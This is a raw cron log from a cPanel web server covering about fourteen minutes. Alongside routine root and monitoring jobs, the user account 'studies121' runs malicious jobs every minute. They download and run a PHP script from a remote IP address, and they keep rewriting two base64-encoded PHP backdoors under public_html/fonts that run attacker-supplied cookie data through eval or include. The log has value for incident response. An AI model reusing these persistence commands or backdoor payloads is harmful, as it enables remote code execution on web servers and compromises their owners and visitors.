Sep 21 00:01:02 ip-184-168-122-23 anacron[29385]: Normal exit (0 jobs run)
Sep 21 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29388]: finished 0anacron
Sep 21 00:02:01 ip-184-168-122-23 CROND[29557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:02:01 ip-184-168-122-23 CROND[29561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:02:01 ip-184-168-122-23 CROND[29562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:02:01 ip-184-168-122-23 CROND[29559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:02:01 ip-184-168-122-23 CROND[29560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:03:01 ip-184-168-122-23 CROND[29656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:03:01 ip-184-168-122-23 CROND[29660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:03:01 ip-184-168-122-23 CROND[29658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:03:01 ip-184-168-122-23 CROND[29659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:04:01 ip-184-168-122-23 CROND[29739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:04:01 ip-184-168-122-23 CROND[29741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:04:01 ip-184-168-122-23 CROND[29742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:04:01 ip-184-168-122-23 CROND[29743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:04:01 ip-184-168-122-23 CROND[29744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:05:01 ip-184-168-122-23 CROND[29841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:05:01 ip-184-168-122-23 CROND[29842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:05:01 ip-184-168-122-23 CROND[29845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:05:01 ip-184-168-122-23 CROND[29846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:05:01 ip-184-168-122-23 CROND[29847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:05:01 ip-184-168-122-23 CROND[29848]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 00:05:01 ip-184-168-122-23 CROND[29849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:06:01 ip-184-168-122-23 CROND[29944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:06:01 ip-184-168-122-23 CROND[29949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:06:01 ip-184-168-122-23 CROND[29946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:06:01 ip-184-168-122-23 CROND[29948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:06:01 ip-184-168-122-23 CROND[29947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:07:01 ip-184-168-122-23 CROND[30128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:07:01 ip-184-168-122-23 CROND[30131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:07:01 ip-184-168-122-23 CROND[30129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:07:01 ip-184-168-122-23 CROND[30130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:08:01 ip-184-168-122-23 CROND[30219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:08:02 ip-184-168-122-23 CROND[30222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:08:02 ip-184-168-122-23 CROND[30221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:08:02 ip-184-168-122-23 CROND[30224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:08:02 ip-184-168-122-23 CROND[30223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:09:01 ip-184-168-122-23 CROND[30303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:09:01 ip-184-168-122-23 CROND[30306]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 00:09:01 ip-184-168-122-23 CROND[30310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:09:02 ip-184-168-122-23 CROND[30316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:09:02 ip-184-168-122-23 CROND[30312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:10:01 ip-184-168-122-23 CROND[30426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:10:01 ip-184-168-122-23 CROND[30427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:10:01 ip-184-168-122-23 CROND[30429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:10:02 ip-184-168-122-23 CROND[30433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:10:02 ip-184-168-122-23 CROND[30432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:10:02 ip-184-168-122-23 CROND[30434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 00:10:02 ip-184-168-122-23 CROND[30435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:10:02 ip-184-168-122-23 CROND[30439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:11:01 ip-184-168-122-23 CROND[30533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:11:01 ip-184-168-122-23 CROND[30536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:11:01 ip-184-168-122-23 CROND[30537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:11:01 ip-184-168-122-23 CROND[30535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:12:01 ip-184-168-122-23 CROND[30710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:12:01 ip-184-168-122-23 CROND[30714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:12:01 ip-184-168-122-23 CROND[30713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:12:01 ip-184-168-122-23 CROND[30715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:12:01 ip-184-168-122-23 CROND[30712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:13:01 ip-184-168-122-23 CROND[30819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:13:01 ip-184-168-122-23 CROND[30821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:13:01 ip-184-168-122-23 CROND[30822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:13:01 ip-184-168-122-23 CROND[30823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:14:01 ip-184-168-122-23 CROND[30930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
